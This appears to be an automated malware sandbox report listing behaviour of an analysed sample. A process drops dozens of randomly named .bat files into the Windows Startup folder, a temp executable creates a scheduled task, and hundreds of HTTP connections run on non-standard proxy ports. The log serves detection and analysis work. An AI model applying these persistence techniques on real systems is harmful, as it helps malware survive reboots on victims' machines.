Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OUfj0Cjc8tUmuX1EJn2UDMRq.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iFau6s6nP0Npku3mzBCNvuor.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xEGgxKMHj9iJfbRcoMlSL4NY.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\I0bhPTX30r8P4G1lvu8sFzoW.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MGSlOhBcAWKEdyehvoNbVoUR.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kiXcuJUJS97MOwYXLopyQBva.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Hx6FJnbZibFTuzR4KP9Slo6z.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\C7JK1QLd1HhpC2iu6FzaXx9e.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7lSYLKWCafZpx18kXQ49864p.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tP1HwHnBrmkAp5HYbvKx3soV.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\V1FiUldszCzLAulbMss25ZN5.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\26fF1twXUUy7jGhqLx9vrwoW.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EQSWALPGSJbmdhZ5UXJP52TV.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6gL1gG7ldW7PoVRDY8vKo5tc.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7brphmKFPcG9dvFk5ljwDtYq.bat	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5wXkSqn4DIUtGScxeGbdZDl0.bat	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5MU2eoXrXWjMqtCDgcUdxEXh.bat

Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe

File created: C:\Windows\Tasks\88e931437f4fbe2c.job

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5MU2eoXrXWjMqtCDgcUdxEXh.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6V1VrzZlnckbDLDx3vI2CQTI.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mIfCnFQFL1iakCTbZHUvqqRQ.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FYS7ZbtfMHg45nrX4x6uzB9u.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RhOTMLiWYdQ5cM559FjqYdxz.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NWqXzpae1NGiof3fGaSCKwbn.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cPDXi3YsHb2JKplcNt2ulL4v.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\11FhgNaI9OC9CIBuozAEgUpl.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\F4MKwilBLbDn1AvI4NJYim3J.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cgfjpHdWrKt7RBbVJLVt3KrQ.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Qeq8y82NFzxmb0C1zqsQ9GIJ.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PSzSTrBAfql6s2xHwMaulb6g.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RVMSz0xyVTk828VJXeNNyJ5X.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OUfj0Cjc8tUmuX1EJn2UDMRq.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\iFau6s6nP0Npku3mzBCNvuor.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\xEGgxKMHj9iJfbRcoMlSL4NY.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\I0bhPTX30r8P4G1lvu8sFzoW.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MGSlOhBcAWKEdyehvoNbVoUR.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\kiXcuJUJS97MOwYXLopyQBva.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Hx6FJnbZibFTuzR4KP9Slo6z.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\C7JK1QLd1HhpC2iu6FzaXx9e.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7lSYLKWCafZpx18kXQ49864p.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tP1HwHnBrmkAp5HYbvKx3soV.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\V1FiUldszCzLAulbMss25ZN5.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\26fF1twXUUy7jGhqLx9vrwoW.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EQSWALPGSJbmdhZ5UXJP52TV.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6gL1gG7ldW7PoVRDY8vKo5tc.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\7brphmKFPcG9dvFk5ljwDtYq.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\5wXkSqn4DIUtGScxeGbdZDl0.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CtKTLlY2LhR3aGX0PpowiHev.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\asxkwIl5OZIGfxZm6YYVmkyp.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cizDnjn04HXlR48gG87ono06.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cXcTyLUx7TcAqwa1PaqAe42l.bat
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bKbfQedsHp5fPnIwSbgAXTGS.bat
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 10647
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 8118
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 12457
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 26927
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 5088
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 64579
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 10647
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 22538
Source: unknown	Network traffic detected: HTTP traffic on port 8118 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 8123
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 51513
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 9001
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 7732
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 41890
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 8989
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 41274
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 9080
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 27294
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 12457
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 26431
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 13412
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 8123 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 26927
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 55806
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 1981
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 2324
Source: unknown	Network traffic detected: HTTP traffic on port 50238 -> 28040
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50253 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 9001 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 10647
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 58630
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 22538
Source: unknown	Network traffic detected: HTTP traffic on port 41890 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50283 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 8989 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 60651
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 36366
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 52127
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 26431 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50334 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50244 -> 24015
Source: unknown	Network traffic detected: HTTP traffic on port 50360 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 5050
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 27360
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50281 -> 21605
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 50397 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50403 -> 52929
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 57752
Source: unknown	Network traffic detected: HTTP traffic on port 50307 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 64109
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 5432
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 59727
Source: unknown	Network traffic detected: HTTP traffic on port 50359 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 11251
Source: unknown	Network traffic detected: HTTP traffic on port 50443 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 7732
Source: unknown	Network traffic detected: HTTP traffic on port 50388 -> 1082
Source: unknown	Network traffic detected: HTTP traffic on port 2324 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 35081
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 41274
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 9229
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50413 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 50431 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50445 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 9001
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50441 -> 57327
Source: unknown	Network traffic detected: HTTP traffic on port 50435 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50460 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 16487
Source: unknown	Network traffic detected: HTTP traffic on port 50506 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50572 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 7518
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 54570
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50248 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 27294
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 12457
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 8082
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 1983
Source: unknown	Network traffic detected: HTTP traffic on port 50493 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 1081 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 5432 -> 50442
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50494 -> 6009
Source: unknown	Network traffic detected: HTTP traffic on port 50620 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 15294
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50651 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50489 -> 8880
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 30464
Source: unknown	Network traffic detected: HTTP traffic on port 50597 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 58630
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 88
Source: unknown	Network traffic detected: HTTP traffic on port 50684 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 26927
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 10001
Source: unknown	Network traffic detected: HTTP traffic on port 50587 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 50676 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 55806
Source: unknown	Network traffic detected: HTTP traffic on port 50686 -> 999
Source: unknown	Network traffic detected: HTTP traffic on port 50312 -> 60651
Source: unknown	Network traffic detected: HTTP traffic on port 50727 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50709 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50506
Source: unknown	Network traffic detected: HTTP traffic on port 50599 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50650 -> 32708
Source: unknown	Network traffic detected: HTTP traffic on port 50747 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50792 -> 28810
Source: unknown	Network traffic detected: HTTP traffic on port 50635 -> 6012
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50431
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50537
Source: unknown	Network traffic detected: HTTP traffic on port 3129 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 50758 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 41368
Source: unknown	Network traffic detected: HTTP traffic on port 50677 -> 5566
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50651
Source: unknown	Network traffic detected: HTTP traffic on port 50698 -> 25256
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50435
Source: unknown	Network traffic detected: HTTP traffic on port 9001 -> 50404
Source: unknown	Network traffic detected: HTTP traffic on port 1082 -> 50388
Source: unknown	Network traffic detected: HTTP traffic on port 50699 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50668 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50715 -> 20060
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 22538
Source: unknown	Network traffic detected: HTTP traffic on port 50843 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50755 -> 10006
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 15280
Source: unknown	Network traffic detected: HTTP traffic on port 50775 -> 27360
Source: unknown	Network traffic detected: HTTP traffic on port 50819 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50733 -> 53778
Source: unknown	Network traffic detected: HTTP traffic on port 50712 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 50320 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50767 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 52276
Source: unknown	Network traffic detected: HTTP traffic on port 50756 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 45840
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 1981
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 36366
Source: unknown	Network traffic detected: HTTP traffic on port 50788 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 50737 -> 44268
Source: unknown	Network traffic detected: HTTP traffic on port 8081 -> 50597
Source: unknown	Network traffic detected: HTTP traffic on port 50880 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50803 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 9375
Source: unknown	Network traffic detected: HTTP traffic on port 50403 -> 52929
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 50727
Source: unknown	Network traffic detected: HTTP traffic on port 50777 -> 53281
Source: unknown	Network traffic detected: HTTP traffic on port 50921 -> 35316
Source: unknown	Network traffic detected: HTTP traffic on port 50879 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50881 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 59727
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50500
Source: unknown	Network traffic detected: HTTP traffic on port 50815 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 8880 -> 50489
Source: unknown	Network traffic detected: HTTP traffic on port 8880 -> 50489
Source: unknown	Network traffic detected: HTTP traffic on port 50800 -> 1080
Source: unknown	Network traffic detected: HTTP traffic on port 50849 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 88 -> 50566
Source: unknown	Network traffic detected: HTTP traffic on port 50818 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50816 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 55005
Source: unknown	Network traffic detected: HTTP traffic on port 3128 -> 50587
Source: unknown	Network traffic detected: HTTP traffic on port 50947 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50840 -> 5003
Source: unknown	Network traffic detected: HTTP traffic on port 50899 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50898 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50873 -> 444
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 11251
Source: unknown	Network traffic detected: HTTP traffic on port 50691 -> 16892
Source: unknown	Network traffic detected: HTTP traffic on port 32708 -> 50650
Source: unknown	Network traffic detected: HTTP traffic on port 50895 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50907 -> 34411
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50893 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 50611 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 50915 -> 7890
Source: unknown	Network traffic detected: HTTP traffic on port 50871 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 50932 -> 16379
Source: unknown	Network traffic detected: HTTP traffic on port 50937 -> 15779
